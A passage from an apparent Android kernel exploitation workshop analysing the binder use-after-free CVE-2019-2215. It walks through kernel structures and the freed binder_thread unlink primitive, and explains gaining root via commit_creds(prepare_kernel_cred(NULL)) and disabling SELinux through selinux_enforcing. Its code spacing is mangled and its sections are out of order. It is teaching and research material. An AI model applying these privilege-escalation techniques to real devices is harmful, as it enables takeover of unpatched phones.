+ conststructcred __rcu *cred;
+
+ /*
+ * executable name, excluding path.
+ *
+ * - normally initialized setup_new_exec()
+ * - access it with [gs]et_task_comm()
+ * - lock it with task_lock()
+ */
+ char comm[TASK_COMM_LEN];
+
+ structnameidata*nameidata;
+
+#ifdefCONFIG_SYSVIPC
+ structsysv_sem sysvsem;
+ structsysv_shm sysvshm;
+#endif
+#ifdefCONFIG_DETECT_HUNG_TASK
+ unsignedlong last_switch_count;
+#endif
+ /* Filesystem information: */
+ structfs_struct*fs;
+
+ /* Open file information: */
+ structfiles_struct*files;
+
+ /* Namespaces: */
+ structnsproxy*nsproxy;
+
+ /* Signal handlers: */
+ structsignal_struct*signal;
+ structsighand_struct*sighand;
+ sigset_t blocked;
+ sigset_t real_blocked;
+ /* Restored if set_restore_sigmask() was used: */
+ sigset_t saved_sigmask;
+ structsigpending pending;
+ unsignedlong sas_ss_sp;
+ size_t sas_ss_size;
+ unsignedint sas_ss_flags;
+
+ structcallback_head*task_works;
+
+ structaudit_context*audit_context;
+#ifdefCONFIG_AUDITSYSCALL
+ kuid_t loginuid;
+ unsignedint sessionid;
+#endif
+ structseccomp seccomp;
+
+ /* Thread group tracking: */
+ u32 parent_exec_id;
+ u32 self_exec_id;
+
+ /* Protection against (de-)allocation: mm, files, fs, tty, keyrings, mems_allowed, mempolicy: */
+ spinlock_t alloc_lock;
+
+ /* Protection of the PI data structures: */
+ raw_spinlock_t pi_lock;
+
+ structwake_q_node wake_q;
+
+#ifdefCONFIG_RT_MUTEXES
+ /* PI waiters blocked on a rt_mutex held by this task: */
+ structrb_root_cached pi_waiters;
+ /* Updated under owner's pi_lock and rq lock */
+ structtask_struct*pi_top_task;
+ /* Deadlock detection and priority inheritance handling: */
+ structrt_mutex_waiter*pi_blocked_on;
+#endif
+
+#ifdefCONFIG_DEBUG_MUTEXES
+ /* Mutex deadlock detection: */
+ structmutex_waiter*blocked_on;
+#endif
+
+#ifdefCONFIG_TRACE_IRQFLAGS
+ unsignedint irq_events;
+ unsignedlong hardirq_enable_ip;
+ unsignedlong hardirq_disable_ip;
+ unsignedint hardirq_enable_event;
+ unsignedint hardirq_disable_event;
+ int hardirqs_enabled;
+ int hardirq_context;
+ unsignedlong softirq_disable_ip;
+ unsignedlong softirq_enable_ip;
+ unsignedint softirq_disable_event;
+ unsignedint softirq_enable_event;
+ int softirqs_enabled;
+ int softirq_context;
+#endif
+
+#ifdefCONFIG_LOCKDEP
+#defineMAX_LOCK_DEPTH 48UL
+ u64 curr_chain_key;
+ int lockdep_depth;
+ unsignedint lockdep_recursion;
+ structheld_lock held_locks[MAX_LOCK_DEPTH];
+#endif
+
+#ifdefCONFIG_LOCKDEP_CROSSRELEASE
+#defineMAX_XHLOCKS_NR 64UL
+ structhist_lock*xhlocks;/* Crossrelease history locks */
+ unsignedint xhlock_idx;
+ /* For restoring at history boundaries */
+ unsignedint xhlock_idx_hist[XHLOCK_CTX_NR];
+ unsignedint hist_id;
+ /* For overwrite check at each context exit */
+ unsignedint hist_id_save[XHLOCK_CTX_NR];
+#endif
+
+#ifdefCONFIG_UBSAN
+ unsignedint in_ubsan;
+#endif
+
+ /* Journalling filesystem info: */
+ void*journal_info;
+
+ /* Stacked block device info: */
+ structbio_list*bio_list;
+
+#ifdefCONFIG_BLOCK
+ /* Stack plugging: */
+ structblk_plug*plug;
+#endif
+
+ /* VM state: */
+ structreclaim_state*reclaim_state;
+
+ structbacking_dev_info*backing_dev_info;
+
+ structio_context*io_context;
+
+ /* Ptrace state: */
+ unsignedlong ptrace_message;
+ siginfo_t *last_siginfo;
+
+ structtask_io_accounting ioac;
+#ifdefCONFIG_PSI
+ /* Pressure stall state */
+ unsignedint psi_flags;
+#endif
+#ifdefCONFIG_TASK_XACCT
+ /* Accumulated RSS usage: */
+ u64 acct_rss_mem1;
+ /* Accumulated virtual memory usage: */
+ u64 acct_vm_mem1;
+ /* stime + utime since last update: */
+ u64 acct_timexpd;
+#endif
+#ifdefCONFIG_CPUSETS
+ /* Protected by ->alloc_lock: */
+ nodemask_t mems_allowed;
+ /* Seqence number to catch updates: */
+ seqcount_t mems_allowed_seq;
+ int cpuset_mem_spread_rotor;
+ int cpuset_slab_spread_rotor;
+#endif
+#ifdefCONFIG_CGROUPS
+ /* Control Group info protected by css_set_lock: */
+ structcss_set __rcu *cgroups;
+ /* cg_list protected by css_set_lock and tsk->alloc_lock: */
+ structlist_head cg_list;
+#endif
+#ifdefCONFIG_INTEL_RDT
+ u32 closid;
+ u32 rmid;
+#endif
+#ifdefCONFIG_FUTEX
+ structrobust_list_head __user *robust_list;
+#ifdefCONFIG_COMPAT
+ structcompat_robust_list_head __user *compat_robust_list;
+#endif
+ structlist_head pi_state_list;
+ structfutex_pi_state*pi_state_cache;
+#endif
+#ifdefCONFIG_PERF_EVENTS
+ structperf_event_context*perf_event_ctxp[perf_nr_task_contexts];
+ structmutex perf_event_mutex;
+ structlist_head perf_event_list;
+#endif
+#ifdefCONFIG_DEBUG_PREEMPT
+ unsignedlong preempt_disable_ip;
+#endif
+#ifdefCONFIG_NUMA
+ /* Protected by alloc_lock: */
+ structmempolicy*mempolicy;
+ short il_prev;
+ short pref_node_fork;
+#endif
+#ifdefCONFIG_NUMA_BALANCING
+ int numa_scan_seq;
+ unsignedint numa_scan_period;
+ unsignedint numa_scan_period_max;
+ int numa_preferred_nid;
+ unsignedlong numa_migrate_retry;
+ /* Migration stamp: */
+ u64 node_stamp;
+ u64 last_task_numa_placement;
+ u64 last_sum_exec_runtime;
+ structcallback_head numa_work;
+
+ structlist_head numa_entry;
+ structnuma_group*numa_group;
+
+ /*
+ * numa_faults is an array split into four regions:
+ * faults_memory, faults_cpu, faults_memory_buffer, faults_cpu_buffer
+ * in this precise order.
+ *
+ * faults_memory: Exponential decaying average of faults on a per-node
+ * basis. Scheduling placement decisions are made based on these
+ * counts. The values remain static for the duration of a PTE scan.
+ * faults_cpu: Track the nodes the process was running on when a NUMA
+ * hinting fault was incurred.
+ * faults_memory_buffer and faults_cpu_buffer: Record faults per node
+ * during the current scan window. When the scan completes, the counts
+ * in faults_memory and faults_cpu decay and these values are copied.
+ */
+ unsignedlong*numa_faults;
+ unsignedlong total_numa_faults;
+
+ /*
+ * numa_faults_locality tracks if faults recorded during the last
+ * scan window were remote/local or failed to migrate. The task scan
+ * period is adapted based on the locality of the faults with different
+ * weights depending on whether they were shared or private faults
+ */
+ unsignedlong numa_faults_locality[3];
+
+ unsignedlong numa_pages_migrated;
+#endif/* CONFIG_NUMA_BALANCING */
+
+ structtlbflush_unmap_batch tlb_ubc;
+
+ structrcu_head rcu;
+
+ /* Cache last used pipe for splice(): */
+ structpipe_inode_info*splice_pipe;
+
+ structpage_frag task_frag;
+
+#ifdefCONFIG_TASK_DELAY_ACCT
+ structtask_delay_info*delays;
+#endif
+
+#ifdefCONFIG_FAULT_INJECTION
+ int make_it_fail;
+ unsignedint fail_nth;
+#endif
+ /*
+ * When (nr_dirtied >= nr_dirtied_pause), it's time to call
+ * balance_dirty_pages() for a dirty throttling pause:
+ */
+ int nr_dirtied;
+ int nr_dirtied_pause;
+ /* Start of a write-and-pause period: */
+ unsignedlong dirty_paused_when;
+
+#ifdefCONFIG_LATENCYTOP
+ int latency_record_count;
+ structlatency_record latency_record[LT_SAVECOUNT];
+#endif
+ /*
+ * Time slack values; these are used to round up poll() and
+ * select() etc timeout values. These are in nanoseconds.
+ */
+ u64 timer_slack_ns;
+ u64 default_timer_slack_ns;
+
+#ifdefCONFIG_KASAN
+ unsignedint kasan_depth;
+#endif
+
+#ifdefCONFIG_FUNCTION_GRAPH_TRACER
+ /* Index of current stored address in ret_stack: */
+ int curr_ret_stack;
+
+ /* Stack of return addresses for return function tracing: */
+ structftrace_ret_stack*ret_stack;
+
+ /* Timestamp for last schedule: */
+ unsignedlonglong ftrace_timestamp;
+
+ /*
+ * Number of functions that haven't been traced
+ * because of depth overrun:
+ */
+ atomic_t trace_overrun;
+
+ /* Pause tracing: */
+ atomic_t tracing_graph_pause;
+#endif
+
+#ifdefCONFIG_TRACING
+ /* State flags for use by tracers: */
+ unsignedlong trace;
+
+ /* Bitmask and counter of trace recursion: */
+ unsignedlong trace_recursion;
+#endif/* CONFIG_TRACING */
+
+#ifdefCONFIG_KCOV
+ /* Coverage collection mode enabled for this task (0 if disabled): */
+ enumkcov_mode kcov_mode;
+
+ /* Size of the kcov_area: */
+ unsignedint kcov_size;
+
+ /* Buffer for coverage collection: */
+ void*kcov_area;
+
+ /* KCOV descriptor wired with this task or NULL: */
+ structkcov*kcov;
+#endif
+
+#ifdefCONFIG_MEMCG
+ structmem_cgroup*memcg_in_oom;
+ gfp_t memcg_oom_gfp_mask;
+ int memcg_oom_order;
+
+ /* Number of pages to reclaim on returning to userland: */
+ unsignedint memcg_nr_pages_over_high;
+#endif
+
+#ifdefCONFIG_UPROBES
+ structuprobe_task*utask;
+#endif
+#ifdefined(CONFIG_BCACHE)||defined(CONFIG_BCACHE_MODULE)
+ unsignedint sequential_io;
+ unsignedint sequential_io_avg;
+#endif
+#ifdefCONFIG_DEBUG_ATOMIC_SLEEP
+ unsignedlong task_state_change;
+#endif
+ int pagefault_disabled;
+#ifdefCONFIG_MMU
+ structtask_struct*oom_reaper_list;
+#endif
+#ifdefCONFIG_VMAP_STACK
+ structvm_struct*stack_vm_area;
+#endif
+#ifdefCONFIG_THREAD_INFO_IN_TASK
+ /* A live task holds one reference: */
+ atomic_t stack_refcount;
+#endif
+#ifdefCONFIG_LIVEPATCH
+ int patch_state;
+#endif
+#ifdefCONFIG_SECURITY
+ /* Used by LSM modules for access restriction: */
+ void*security;
+#endif
+
+ /*
+ * New fields for task_struct should be added above here, so that
+ * they are included in the randomized portion of task_struct.
+ */
+ randomized_struct_fields_end
+
+ /* CPU-specific state of this task: */
+ structthread_struct thread;
+
+ /*
+ * WARNING: on x86, 'thread_struct' contains a variable-sized
+ * structure. It *MUST* be at the end of 'task_struct'.
+ *
+ * Do not put anything below here!
+ */
+};
+
+
This data structure contains all the information to manage a process. One of the interesting members in this task_struct structure is cred.
+
Process Credentials
+
The security context of a task is defined by struct cred and is defined in include/linux/cred.h.
+
structcred{
+ atomic_t usage;
+#ifdefCONFIG_DEBUG_CREDENTIALS
+ atomic_t subscribers;/* number of processes subscribed */
+ void*put_addr;
+ unsigned magic;
+#defineCRED_MAGIC 0x43736564
+#defineCRED_MAGIC_DEAD 0x44656144
+#endif
+ kuid_t uid;/* real UID of the task */
+ kgid_t gid;/* real GID of the task */
+ kuid_t suid;/* saved UID of the task */
+ kgid_t sgid;/* saved GID of the task */
+ kuid_t euid;/* effective UID of the task */
+ kgid_t egid;/* effective GID of the task */
+ kuid_t fsuid;/* UID for VFS ops */
+ kgid_t fsgid;/* GID for VFS ops */
+ unsigned securebits;/* SUID-less security management */
+ kernel_cap_t cap_inheritable;/* caps our children can inherit */
+ kernel_cap_t cap_permitted;/* caps we're permitted */
+ kernel_cap_t cap_effective;/* caps we can actually use */
+ kernel_cap_t cap_bset;/* capability bounding set */
+ kernel_cap_t cap_ambient;/* Ambient capability set */
+#ifdefCONFIG_KEYS
+ unsignedchar jit_keyring;/* default keyring to attach requested
+ * keys to */
+ structkey __rcu *session_keyring;/* keyring inherited over fork */
+ structkey*process_keyring;/* keyring private to this process */
+ structkey*thread_keyring;/* keyring private to this thread */
+ structkey*request_key_auth;/* assumed request_key authority */
+#endif
+#ifdefCONFIG_SECURITY
+ void*security;/* subjective LSM security */
+#endif
+ structuser_struct*user;/* real user ID subscription */
+ structuser_namespace*user_ns;/* user_ns the caps and keyrings are relative to. */
+ structgroup_info*group_info;/* supplementary groups for euid/fsgid */
+ /* RCU deletion */
+ union{
+ int non_rcu;/* Can we skip RCU deletion? */
+ structrcu_head rcu;/* RCU deletion hook */
+ };
+} __randomize_layout;
+
+
In most of the Linux kernel exploits, you must have seen that to achieve root they use
+
commit_creds(prepare_kernel_cred(NULL));
+
+
Let's try to look into these two functions and see what they do. First, let's look into prepare_kernel_cred function which is defined in kernel/cred.c.
This function basically take a pointer task_struct for which we want to prepare kernel credentials. The important part of the function is that if we provide NULL as the pointer to task_struct it will get the default credentials which is init_cred. init_cred is a global struct cred defined in kernel/cred.c which is used to initialize the credentials for the init_task which is the first task in Linux.
commit_creds basically sets the task->real_cred and task->cred with the pointer to new cred structure. However, as we had passed NULL to prepare_kernel_cred address of init_cred.
+
This is how we get root and this basically means privilege escalation
+
SELinux
+
Security-Enhanced Linux was developed by National Security Agency (NSA) using Linux Security Modules (LSM).
+
There are two modes of SELinux
+
+
permissive - permission denials are logged but not enforced
+
enforcing - permission denials are logged and enforced
+
+
In Android the default mode of SELinux is enforcing and even if we get root, we are subjected to SELinux rules.
+
generic_x86_64:/ $ getenforce
+Enforcing
+
+
So, we need to disable SELinux as well.
+
selinux_enforcing
+
selinux_enforcing is a global variable which dictates whether SELinux is enforced or not. If we can figure out where selinux_enforcing is in memory and set it to NULL, then we can disable SELinux globally and now SELinux will be in permissive mode instead of enforcing mode.
+
SecComp
+
SecComp stands for Secure Computing mode and is a Linux kernel feature that allows to filter system calls. When enabled, the process can only make four system calls read(), write(), exit(), and sigreturn().
+
When running the exploit from adb shell we are not subjected to seccomp. However, if we bundle the exploit in an Android application, we would be subjected to seccomp.
+
In this workshop, we are not going to look at seccomp.
We see that binder_thread structure is being freed by calling kfree which exactly matches the free call trace. This confirms that the dangling chunk is binder_thread structure.
+
Let's see how struct binder_thread is defined.
+
structbinder_thread{
+ structbinder_proc*proc;
+ structrb_node rb_node;
+ structlist_head waiting_thread_node;
+ int pid;
+ int looper;/* only modified by this thread */
+ bool looper_need_return;/* can be written by other thread */
+ structbinder_transaction*transaction_stack;
+ structlist_head todo;
+ bool process_todo;
+ structbinder_error return_error;
+ structbinder_error reply_error;
+ wait_queue_head_t wait;
+ structbinder_stats stats;
+ atomic_t tmp_ref;
+ bool is_dead;
+ structtask_struct*task;
+};
+
We don't see any line in the PoC which calls SyS_exit_group. It turns out that the use happens when the process exits, and eventually exit_group system call is called. This is when it tries to cleanup the resources and uses the dangling chunk erroneously.
binder_open allocates binder_proc data structure and assigns it to the filp->private_data.
+
epoll_create
+
epfd =epoll_create(1000);
+
+
Let's open workshop/android-4.14-dev/goldfish/fs/eventpoll.c and see how epoll_create system call is implemented. We will also follow the call graph and look into all the important functions that epoll_create will call.
epoll_create checks if size <= 0 and then calls sys_epoll_create1. We can see that 1000 passed as parameter does not have any specific implications. The size parameter should be greater than 0.
allocates struct eventpoll, initializes wait queueswq and poll_wait members
+
initializes rbr member which is the red black tree root
+
+
struct eventpoll is the main data structure used by event polling subsystem. Let's see how eventpoll structure is defined in workshop/android-4.14-dev/goldfish/fs/eventpoll.c.
+
structeventpoll{
+ /* Protect the access to this structure */
+ spinlock_t lock;
+
+ /*
+ * This mutex is used to ensure that files are not removed
+ * while epoll is using them. This is held during the event
+ * collection loop, the file cleanup path, the epoll file exit
+ * code and the ctl operations.
+ */
+ structmutex mtx;
+
+ /* Wait queue used by sys_epoll_wait() */
+ wait_queue_head_t wq;
+
+ /* Wait queue used by file->poll() */
+ wait_queue_head_t poll_wait;
+
+ /* List of ready file descriptors */
+ structlist_head rdllist;
+
+ /* RB tree root used to store monitored fd structs */
+ structrb_root_cached rbr;
+
+ /*
+ * This is a single linked list that chains all the "struct epitem" that
+ * happened while transferring ready events to userspace w/out
+ * holding ->lock.
+ */
+ structepitem*ovflist;
+
+ /* wakeup_source used when ep_scan_ready_list is running */
+ structwakeup_source*ws;
+
+ /* The user that created the eventpoll descriptor */
+ structuser_struct*user;
+
+ structfile*file;
+
+ /* used to optimize loop detection check */
+ int visited;
+ structlist_head visited_list_link;
+
+#ifdefCONFIG_NET_RX_BUSY_POLL
+ /* used to track busy poll napi_id */
+ unsignedint napi_id;
+#endif
+};
+
+
epoll_ctl
+
epoll_ctl(epfd, EPOLL_CTL_ADD, fd,&event);
+
+
Let's open workshop/android-4.14-dev/goldfish/fs/eventpoll.c and see how epoll_ctl is implemented. We are passing EPOLL_CTL_ADD as the operation parameter.
copies epoll_event structure from user space to kernel space
+
finds the corresponding file pointers of epfd and fd file descriptors
+
gets the pointer to eventpoll structure from the private_data member of the file pointer of the epoll file descriptor epfd
+
calls ep_find to find the pointer to linked epitem structure from the red black tree node stored in eventpoll structure matching the file descriptor fd
+
if epitem is not found for the corresponding fd, then it calls ep_insert function to allocate and link a epitem to eventpoll structure's rbr member
+
+
Let's see how struct epitem is defined.
+
structepitem{
+ union{
+ /* RB tree node links this structure to the eventpoll RB tree */
+ structrb_node rbn;
+ /* Used to free the struct epitem */
+ structrcu_head rcu;
+ };
+
+ /* List header used to link this structure to the eventpoll ready list */
+ structlist_head rdllink;
+
+ /*
+ * Works together "struct eventpoll"->ovflist in keeping the
+ * single linked chain of items.
+ */
+ structepitem*next;
+
+ /* The file descriptor information this item refers to */
+ structepoll_filefd ffd;
+
+ /* Number of active wait queue attached to poll operations */
+ int nwait;
+
+ /* List containing poll wait queues */
+ structlist_head pwqlist;
+
+ /* The "container" of this item */
+ structeventpoll*ep;
+
+ /* List header used to link this item to the "struct file" items list */
+ structlist_head fllink;
+
+ /* wakeup_source used when EPOLLWAKEUP is set */
+ structwakeup_source __rcu *ws;
+
+ /* The structure that describe the interested events and the source fd */
+ structepoll_event event;
+};
+
+
Below given diagram shows how an epitem structure is linked to eventpoll structure.
+
+
+
+
+
+
Let's follow ep_insert function and see what it exactly does.
initializes epi->pwqlist member which is used to link the poll wait queues
+
sets the epitem structure member ffd->file = file and ffd->fd = fd which is the binder's file structure pointer and descriptor in our case by calling ep_set_ffd
+
sets epq.epi to epi pointer
+
sets epq.pt->_qproc to ep_ptable_queue_proccallback address
+
calls ep_item_poll passing epi and address of epq.pt (poll table) as arguments
+
finally, links epitem structure to eventpoll structure's red black tree root node by calling ep_rbtree_insert function
+
+
Let's follow ep_item_poll and find out what it does.
tries to get the binder_thread if present in proc->threads.rb_node by calling binder_get_thread_ilocked
+
else it allocates a binder_thread structure
+
finally calls binder_get_thread_ilocked again, which initializes the newly allocated binder_thread structure and link it to the proc->threads.rb_node member which is basically a red black tree node
+
+
If you see the call graph in Allocation section, you will find that this is where the binder_thread structure is allocated.
+
Now, let's follow poll_wait function and find out what it does.
calls the callback function assigned to p->_qproc passing binder's file structure pointer, wait_queue_head_t pointer and poll_table pointer
+
+
If you go up and see ep_insert function, you will see that p->_qproc was set to ep_ptable_queue_proc function's address.
+
+
Note: Now, we are jumping back to epoll subsystem from binder subsystem.
+
+
Let's open workshop/android-4.14-dev/goldfish/fs/eventpoll.c and try to understand what ep_ptable_queue_proc function does.
+
/*
+ * This is the callback that is used to add our wait queue to the
+ * target file wakeup lists.
+ */
+staticvoidep_ptable_queue_proc(structfile*file, wait_queue_head_t *whead,
+ poll_table *pt)
+{
+ structepitem*epi =ep_item_from_epqueue(pt);
+ structeppoll_entry*pwq;
+
+ if(epi->nwait >=0&&(pwq =kmem_cache_alloc(pwq_cache, GFP_KERNEL))){
+ init_waitqueue_func_entry(&pwq->wait, ep_poll_callback);
+ pwq->whead = whead;
+ pwq->base = epi;
+ if(epi->event.events & EPOLLEXCLUSIVE)
+ add_wait_queue_exclusive(whead,&pwq->wait);
+ else
+ add_wait_queue(whead,&pwq->wait);
+ list_add_tail(&pwq->llink,&epi->pwqlist);
+ epi->nwait++;
+ }else{
+ /* We have to signal that an error occurred */
+ epi->nwait =-1;
+ }
+}
+
+
+
gets pointer to epitem structure from poll_table by calling ep_item_from_epqueue function
+
allocates eppoll_entry structure and initializes it members
+
sets whead member of eppoll_entry structure to the pointer to wait_queue_head_t structure passed by binder_poll, which is basically the pointer to binder_thread->wait
+
links whead (binder_thread->wait) to eppoll_entry->wait by calling add_wait_queue
+
finally eppoll_entry->llink is linked to epitem->pwqlist by calling list_add_tail
+
+
+
Note: If you look at the code, you will notice that there are two places which holds the reference to binder_thread->wait. First reference is stored in eppoll_entry->wait and the second reference is stored in eppoll_entry->whead.
+
+
Let's see how struct eppoll_entry is defined.
+
structeppoll_entry{
+ /* List header used to link this structure to the "struct epitem" */
+ structlist_head llink;
+
+ /* The "base" pointer is set to the container "struct epitem" */
+ structepitem*base;
+
+ /*
+ * Wait queue item that will be linked to the target file wait
+ * queue head.
+ */
+ wait_queue_entry_t wait;
+
+ /* The wait queue head that linked the "wait" wait queue item */
+ wait_queue_head_t *whead;
+};
+
+
Below given diagram is the simplified call graph of how binder_thread structure is allocated and gets linked to epoll subsystem.
+
+
+
+
+
+
Below given diagram shows how eventpoll structure is connected with binder_thread structure.
+
+
+
+
+
+
ioctl
+
ioctl(fd, BINDER_THREAD_EXIT,NULL);
+
+
Let's open workshop/android-4.14-dev/goldfish/drivers/android/binder.c and see how ioctl system call is implemented.
calls kfree function which frees the kernel heap chunk storing binder_thread structure
+
+
If you see the call graph in Free section, you will find that this is where the binder_thread structure is freed.
+
ep_remove
+
If you see the call graph in Use section, you will find that ep_unregister_pollwait function is called when exit_group system call is executed. exit_group is usually called when the process exits. We would want to trigger the call to ep_unregister_pollwait at will during exploitation.
+
Let's look at workshop/android-4.14-dev/goldfish/fs/eventpoll.c and try to figure out how we can call ep_unregister_pollwait function at will. Basically, we want to inspect the callers of ep_unregister_pollwait function.
+
Looking at the code, I found two interesting callers functions ep_remove and ep_free. But ep_remove is a good candidate because can be called by epoll_ctl system call passing EPOLL_CTL_DEL as the operation parameter.
calls spin_lock_irqsave function passing pointer wait_queue_head->lock to acquire lock
+
+
+
Note: If you look at stack trace in Use section, you will see that the crash occurred because _raw_spin_lock_irqsave used the dangling chunk. This is exactly the same place where the use of the dangling chunk happened for the first time. Remember wait_queue_entry also contains the references to the dangling chunk.
+
+
+
calls __remove_wait_queue function passing pointers to wait_queue_head and wait_queue_entry structures as the parameters
+
+
Let's open workshop/android-4.14-dev/goldfish/include/linux/wait.h and follow __remove_wait_queue function to figure out what it does.
This is basically unlink operation and will write a pointer to binder_thread->wait.head to binder_thread->wait.head.next and binder_thread->wait.head.prev, basically unlinkeppoll_entry->wait.entry from binder_thread->wait.head.
+
This is a much better primitive from the point of view of exploitation than the first use of dangling chunk.
+
Below given diagrams shows how circular double linked list works so that you have better picture of what's really happening.
+
Let's see how a single initialized node node1 looks like. In out context, node1 is binder_thread->wait.head and node2 is eppoll_entry->wait.entry.
+
+
+
+
+
Now, let's see how two nodes node1 and node2 are linked.
+
+
+
+
+
Now, let's see how node1 node looks like when node2 node is linked.
+
+
+
+
+
+
Static Analysis Recap
+
Let's do a recap of what we understood from the root cause analysis section.
+
In the beginning of the Static Analysis section we asked three questions, let's try to answer those.
+
+
Why binder_thread structure was allocated?
+
ep_insert function triggers the call to binder_poll by calling ep_item_poll function
+
binder_poll tries to find a thread to use from the red black tree node and if it's not found, a new binder_thread structure is allocated
+
+
+
+
+
Why binder_thread structure was freed?
+
binder_thread structure is freed when ioctl system call is called explicitly, passing BINDER_THREAD_EXIT as the operation code
+
+
+
+
+
Why the use of binder_thread structure happened when it's already freed?
+
pointer to binder_thread->wait.head is not removed from eppoll_entry->whead and eppoll_entry->wait.entry when binder_thread structure is freed explicitly
+
when the eventpoll is removed by calling epoll_ctl and passing EPOLL_CTL_DEL as the operation parameter, it tries to unlink all the wait queues and uses the danglingbinder_thread structure
+
+
+
+
Dynamic Analysis
+
In this section, we will look into how we can use GDB automation to understand the crash behavior.
+
But before we start doing that, we need to make a hardware changes to the Android Virtual Device named CVE-2019-2215 we created in Android Virtual Device section.
+
We also need to build the Android Kernel without KASan, because we don't need the KASan support now.
+
hw.cpu.ncore
+
For better GDB debugging and tracing support, it's recommended to set the number of CPU cores to 1.
+
Open ~/.android/avd/CVE-2019-2215.avd/config.ini in a text editor and change line hw.cpu.ncore = 4 to hw.cpu.ncore = 1.
+
Build Kernel Without KASan
+
This section is exactly same as Build Kernel With KASan, but this time, we will use a different config file.
+
You will find the config file in workshop/build-configs/goldfish.x86_64.relwithdebinfo directory.
Our goal is to use GDB python breakpoint automation to trace function calls and dump the binder_thread structure chunk before and after it's freed. Also dump the same binder_thread structure before and after the unlink operation has been done.
+
You can find a python file ~/workshop/gdb/dynamic-analysis.py, where I have written some debugging automation to debug this vulnerability at runtime.
+
Let's boot emulator with the newly built kernel.
+
+
Note: The patch to reintroduce the vulnerability is already applied.
+
+
We need four terminal windows this time. Open the first terminal window and launch emulator.
GEF for linux ready, type `gef' to start, `gef config' to configure
+77 commands loaded for GDB 8.2 using Python engine 2.7
+[*] 3 commands could not be loaded, run `gef missing` to know why.
+Reading symbols from /home/ashfaq/workshop/android-4.14-dev/out/kasan/dist/vmlinux...done.
+Remote debugging using :1234
+warning: while parsing target description (at line 1): Could not load XML document "i386-64bit.xml"
+warning: Could not load XML target description; ignoring
+0x000000000000fff0 in exception_stacks ()
+gef> c
+Continuing.
+
Once the Android is booted completely, open the third terminal window and where we will build the vulnerability trigger and push it to the virtual device.
+
ashfaq@hacksys:~/workshop$ cd exploit/
+ashfaq@hacksys:~/workshop/exploit$ NDK_ROOT=~/Android/Sdk/ndk/21.0.6113669 make build-trigger push-trigger
+Building: cve-2019-2215-trigger
+Pushing: cve-2019-2215-trigger to /data/local/tmp
+cve-2019-2215-trigger: 1file pushed, 0 skipped. 44.8 MB/s (3958288 bytes in0.084s)
+
+
Now, in the GDB window press CTRL+C to break in GDB so that we can load the custom python script.
+
You can find dynamic-analysis.py which is an automation built on top of GDB python scripting in workshop/gdb.
+
gef> c
+Continuing.
+^C
+Program received signal SIGINT, Interrupt.
+native_safe_halt () at /home/ashfaq/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61
+61 }
+gef> source ~/workshop/gdb/dynamic-analysis.py
+Breakpoint 1 at 0xffffffff80824047: file /home/ashfaq/workshop/android-4.14-dev/goldfish/drivers/android/binder.c, line 4701.
+Breakpoint 2 at 0xffffffff802aa586: file /home/ashfaq/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 50.
+gef> c
+Continuing.
+
Now, we can open the fourth terminal window, launch adb shell and run the trigger PoC.
If you see closely, after the unlink operation happened, a pointer to binder_thread->wait.head is written to binder_thread->wait.head.next and binder_thread->wait.head.prev.
+
This is exactly what we figured out in the Static Analysis section.
Before moving to Root Cause Analysis chapter, let's first see how we can achieve privilege escalation using custom GDB script.
+
In Build Kernel and Boot Kernel, you learned how to build and boot a custom kernel in emulator.
+
GDB supports python scripting, let's see how we can use python for debugging automation.
+
Kernel Debugging
+
emulator uses qemu in the background and it supports gdbserver known as gdbstub. We can use it to do kernel debugging, if we have the vmlinux file for the corresponding kernel.
+
Let's boot the custom kernel that we built, but this time, with gdbstub enabled. For this we will need two terminal windows.
+
In the first window, we will run the emulator with gdbstub enabled.
Note:-qemu arguments states that the next parameters will be passed to underlying qemu emulator. -s argument is for qemu which is a shorthand for -gdb tcp::1234. -S argument makes qemu to wait for the debugger to connect.
+
+
In the second window, we will use GDB to attach to the qemu instance.
GEF for linux ready, type `gef' to start, `gef config' to configure
+77 commands loaded for GDB 8.2 using Python engine 2.7
+[*] 3 commands could not be loaded, run `gef missing` to know why.
+Reading symbols from /home/ashfaq/workshop/android-4.14-dev/out/kasan/dist/vmlinux...done.
+Remote debugging using :1234
+warning: while parsing target description (at line 1): Could not load XML document "i386-64bit.xml"
+warning: Could not load XML target description; ignoring
+0x000000000000fff0 in exception_stacks ()
+gef> c
+Continuing.
+
Once the Android is booted completely, we can open the third terminal window and launch adb shell.
+
ashfaq@hacksys:~/workshop$ adb shell
+generic_x86_64:/ $ uname -a
+Linux localhost 4.14.150+ #1 repo:q-goldfish-android-goldfish-4.14-dev SMP PREEMPT Sat Apr x86_64
+generic_x86_64:/ $ id
+uid=2000(shell)gid=2000(shell)groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid)context=u:r:shell:s0
+generic_x86_64:/ $
+generic_x86_64:/ $ dmesg
+dmesg: klogctl: Permission denied
+1|generic_x86_64:/ $
+1|generic_x86_64:/ $ pidof sh
+7474
+generic_x86_64:/ $
+
+
In the adb shell window, we can see that currently we are running with uid=2000(shell) gid=2000(shell) and does not have rights to see dmesg. To read dmesg, we will need root privileges.
+
pidof sh is 7474, our goal is to use kernel debugging with GDB automation to do privilege escalation and give the root privileges to this sh process.
+
Now, in the GDB window press CTRL+C to break in GDB so that we can issue some commands.
+
You can find root-me.py which is an automation built on top of GDB python scripting in ~/workshop/gdb.
We are going to look at CVE-2019-2215 which is a Use after Free vulnerability in Binder IPC subsystem.
+
This is a very severe vulnerability because binder subsystem is reachable from Chrome sandbox and can lead to privilege escalation if chained with a renderer exploit.
This bug was patched in February 2018 without a CVE number. Hence, the patch was not back-ported to many already released devices like Pixel and Pixel 2.
+
Rediscovery
+
This bug was rediscovered by Maddie Stone (@maddiestone) of Project Zero based on an intelligence report from Google's Threat Analysis Group (TAG). She reported this vulnerability on 27th September 2019. You can find Maddie's report here https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
I strongly suggest you all to read the blog post, so that you know the interesting story about the rediscovery of this bug.
+
Patch
+
This bug got patched in q-goldfish-android-goldfish-4.14-dev with commit id 7a3cee43e935b9d526ad07f20bf005ba7e74d05b.
+
ashfaq@hacksys:~/workshop/android-4.14-dev$ cd goldfish/
+ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git show 7a3cee43e935b9d526ad07f20bf005ba7e74d05b
+
+
commit 7a3cee43e935b9d526ad07f20bf005ba7e74d05b
+Author: Martijn Coenen <maco@android.com>
+Date: Fri Jan 5 11:27:07 2018 +0100
+
